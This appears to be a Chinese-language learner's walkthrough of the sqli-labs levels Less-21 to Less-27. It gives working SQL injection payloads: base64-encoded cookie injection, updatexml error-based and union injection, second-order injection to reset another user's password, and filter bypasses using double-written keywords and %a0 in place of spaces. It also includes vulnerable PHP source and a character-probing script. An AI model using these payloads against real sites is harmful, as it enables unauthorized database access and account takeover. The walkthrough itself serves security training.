Less-21/22

Less-21:

Cookie注入,使用的是base64编码进行注入,这里有两种方法:报错注入和普通的联合注入

1
报错注入payload: YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsIGNvbmNhdCgweDdlLCAoc2VsZWN0IHZlcnNpb24oKSksIDB4N2UpLCAxKSAj

报错注入

1
联合注入payload: YWRtaW4nKSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLDIsMyAj

联合注入

两种方法都是先将注入语句进行base64编码之后在抓包修改Cookie头部信息

Less-22:

双引号Cookie头部注入,应该也是两种方式,报错和联合,尝试一下。

果然

1
2
联合payload:admin" and 1=2 union select 1,2,3 
base64编码:YWRtaW4iIGFuZCAxPTIgdW5pb24gc2VsZWN0IDEsMiwzICM=

联合注入

1
2
报错注入payload:admin" and updatexml(1, concat(0x7e, (select version()), 0x7e), 1) #
base64编码:YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSwgY29uY2F0KDB4N2UsIChzZWxlY3QgdmVyc2lvbigpKSwgMHg3ZSksIDEpICM=

报错注入

Less-23/24

Less-23:

报错注入,基于strip comments(看不懂是啥意思),看了源码后推断应该绕过简单的过滤。

1
2
3
4
5
6
7
8
9
10
11
// 过滤特殊字符部分源码
<?
$id=$_GET['id'];

//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
?>

这里过滤了--#符号,尝试了双写绕过和url编码绕过,都不行,学习了网上其他师傅的绕过方法,之前都没有用过,下面放payload

1
payload:?id=-1' union select 1,2,3 and '1'='1

最后追加and ‘1’=’1恒等式来闭合最后的引号,这个方法感觉有点巧妙唉,可以看到已经可以控制回显

回显页面

Less-24:

第一次学二次注入,说一下二次注入的原理吧,如果存在insert语句,那么就可以吧payload写入数据库,当使用select语句或者其他语句查询到payload时,就会触发payload从而进行利用。下面附带一张讲解图

二次注入原理图

这个关卡需要的前提,需要知道一个用户名,需要能够自己注册帐号,且修改密码

1
2
//造成二次注入的语句
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

首先注册一个名叫admin' #的用户,假设有一个叫admin的用户我们已经知道,在注册之后选择修改admin' #用户的密码,那么更新语句就会变成下面这样。

1
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin' #' and password='$curr_pass' ";

相当与我们修改了admin用户的密码而原来的用户密码没有改变。这样在知道很多用户名的情况下就可以随意修改所知道的用户的密码。

Less-25/25a

Less-25:

看名字应该是过滤了and和or关键字,报错注入,之前遇到过,看看可不可以使用双写绕过。

1
2
3
4
5
payload测试:
首先测试单引号,发现可以引发报错:id=1'
在尝试闭合,发现可以截断,存在sql注入:id=1' --+
在尝试使用and关键字,发现又报错,应该是and被正则匹配过滤:id=1' and 1=2--+
双写and尝试绕过,成功,猜测正确:id=1' anandd 1=2--+
1
控制回显payload:id=1' anandd 1=2 union select 1,2,3--+

控制回显页面

但是作者让我们使用报错注入那就用报错注入搞下

1
payload:id=1' anandd updatexml(1, concat(0x7e, (select version()), 0x7e), 1)--+

报错注入控制回显

其实这关用联合注入就用不到and或者or等关键字,所以作者才提示使用报错注入。

Less-25a:

1
2
3
4
5
6
7
8
//过滤符号
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)

return $id;
}
1
控制回显payload: id=1 anandd 1=2 union select 1,2,3

联合注入控制回显页面

但是作者希望我们使用盲注脚本,额,之前的好像也还没有写,下次一定。

Less-26/26a

Less-26:

报错注入,过滤了空格和注释。
报错注入,且过滤了空格和注释符号,想想要怎么绕过,注入方法前面学了一点后面的关卡应该就是注入加过waf

1
过滤了注释符,那么就使用横等式来绕过:id=1' and '1'='1,发现没有报错,不是说过滤了空格吗?。。看源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 源码过滤的符号
<?php
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
?>

原来过滤了空格。。。还过滤了and,or等常见的关键字都可以用双写绕过,但是空格要怎么绕过呢?

尝试:url编码(失败),在解析时就已经转换成了ascii码,这个问题还要好好想想,数据传输时编码转换问题。

​ 使用回车url编码,mysql支持回车(失败,暂时不知道为什么)

​ 使用注释绕过,这个关卡不行,应为本身就过滤了注释符号

网上找的测试能够替代空格键测试的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

def changeToHex(num):
tmp = hex(i).replace("0x", "")
if len(tmp)<2:
tmp = '0' + tmp
return "%" + tmp

req = requests.session()
for i in xrange(0,256):
i = changeToHex(i)
url = "0.0.0.0/Less-26/?id=1'" + i + "%26%26" + i + "'1'='1"
ret = req.get(url)
if 'Dumb' in ret.content:
print "good,this can use:" + i

在经过一番折腾之后确定了可以使用%a0来代替空格

1
2
payload: id=1'%a0aandnd%a0'1'='2
这个payload可以让后台查找错误没有回显

由于是基于错误的,现在绕过了waf就很好使用报错注入了。

1
id=1'%a0oorr%a0updatexml(1, concat(0x7e, (select%a0version()), 0x7e), 1)%a0oorr%a0'1'='1

Less-26a:

盲注,且过滤了空格和注释符号,想想要怎么绕过,注入方法前面学了一点后面的关卡应该就是注入加过waf

试了试和26关差不多,应该是作者想让我们使用盲注的手法来做,要写脚本

1
测试payload: id=1')%a0aandnd%a0('1'='1

再中间添加一条and if语句,就可以实现盲注入

1
盲注payload: id=1')%a0aandnd%a0sleep(5)%a0aandnd%a0('1'='1

判断注入类型的方法:
1和1”正常回显,1’报错,判断为字符型,但是还要判断是否有小括号。

判断小括号有几种方法:

2’&&’1’=’1
若查询语句为where id=’$id’,查询时是where id=’2’&&’1’=’1’,结果是where id=’2’,回显会是id=2。
若查询语句为where id=(‘$id’),查询时是where id=(‘2’&&’1’=’1’),MySQL 将’2’作为了 Bool 值,结果是where id=(‘1’),回显会是id=1。
1’)||’1’=(‘1
若查询语句有小括号正确回显,若无小括号错误回显(无回显)。

Less-27/27a

Less-27:

基于错误,过滤了更多的东西,最主要的是union和select关键字,这里涉及到了PHP正则匹配的知识。

1
2
3
4
5
6
7
8
9
10
11
12
i
如果设定了此修正符,模式中的字符将同时匹配大小写字母。
m
如果设定了此修正符,行起始和行结束除了匹配整个字符串开头和结束外,还分别匹配其中的换行符的之后和之前。
s
如果设定了此修正符,模式中的圆点元字符.匹配所有的字符,包括换行符。没有此设定的话,则不包括换行符。
x
如果设定了此修正符,模式中的空白字符除了被转义的或在字符类中的以外完全被忽略,在未转义的字符类之外的#以及下一个换行符之间的所有字符,包括两头,也都被忽略。
e
如果设定了此修正符,preg_replace()在替换字符串中对逆向引用作正常的替换。
?
在./+/*之后表示非贪婪匹配,./+/*限定符都是贪婪的,它们会尽可能多的匹配文字,在它们的后面加上一个?就可以实现非贪婪或最小匹配。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
?>

测试id=1和id=1”发现回显正常,单引号报错,存在注入点,但是过滤了很多东西,绕过思路:

  • 没有过滤and和or关键字,但是我这次想用||和&&两个符号来代替and,or
  • select,union可以用大小写混写的方式去绕过,也可以使用双写的方式
  • 空格,之前提到过,可以用%a0等url编码的方式绕过
  • 注释符号过滤,后面的单引号无法注释就使用横等式来闭合后面的单引号

开始测试:

1
首先使用联合注入控制回显:id=1'%a0and%a0'1'='2'%a0UnIon%a0SeLeCT%a01,2,3%a0and'1'='1

回显页面

1
尝试使用报错注入: